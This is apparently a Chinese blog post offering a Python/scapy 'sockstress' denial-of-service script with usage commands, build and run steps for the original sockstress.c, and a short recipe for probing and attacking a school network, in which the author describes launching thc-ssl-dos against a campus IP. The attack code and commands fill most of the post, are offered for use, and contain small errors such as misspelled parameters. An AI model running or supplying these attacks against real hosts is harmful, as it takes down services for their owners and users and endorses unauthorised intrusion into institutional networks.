为了证明我还活着,话不多说
Dos攻击脚本(这是一个sockstrees Dos脚本)

1 #-*- coding:utf-8 -*-
2 from scapy.all import *
3 from time import sleep
4 import thread
5 import logging
6 import os
7 import signal
8 import sys
9
10 from scapy.layers.inet import IP,TCP
11
12 logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
13
14 if len(sys.argv) != 4:
15 print("用法: ./sock_stress.py [目标IP] [端口] [线程数]")
16 print("举例: ./scok_stress.py [1.1.1.1] 20 ##攻击端口处于开放状态")
17 sys.exit()
18
19 target = str(sys.argv[1])
20 dstport = int(sys.argv[2])
21 threads = int(sys.argv[3])
22
23 ##攻击函数
24 def sock_stress(target,dstport):
25 while 0 == 0:
26 try:
27 x = random.randint(0,65535)
28 response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verboss=0)
29 send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq+1))/'\x00\x00',verboss=0)
30 except:
31 pass
32 ##停止攻击函数
33 def shutdown(signal,frame):
34 print("正在恢复 ipables 规则")
35 os.system('iptables -D OUTPUT -p tcp --tcp-flags RST -d' + target +' -j DROP')
36 sys.exit()
37
38 ##添加iptables规则
39
40 os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
41 signal.signal(signal.SIGINT,shutdown)
42
43 ##多线程攻击
44 print("\n攻击正在进行...按 Ctrl+C 停止攻击")
45 for x in range(0,threads):
46 thread.start_new_thread(sock_stress,(target,dstport))
47
48 ##永远执行
49 while 0==0:
50 sleep(1)
一、./sockstrees(产看使用方法)
二、./sockstress.py [ip] [port] 200
三、iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP(手动添加ip)
四、iptables -L (查看增添的ip)
------------------------------------------------------------------------------------------------
关于大神的攻击程序sockstress.c
一、安装:gcc -Wall -c sockstress.c
编译:gcc -pthread -o sockstress sockstress.o
二、指令:./sockstress [ip]:[port] eth0 10
(特别好用)
------------------------------------------------------------------------------------------------
关于校网渗透
一、dig 学校域名
二、nmap -v [ip](准备已知的所有ip,逐个分析)
三、尝试开放端口
四、尝试攻击
(我尝试攻击指令:thc-ssl-dos 172.18.36.254 80 --accpet 这是关于TCP的握手资源的攻击,可惜我的第一次攻击失败。。。)
来源:https://www.cnblogs.com/money131/p/11122326.html
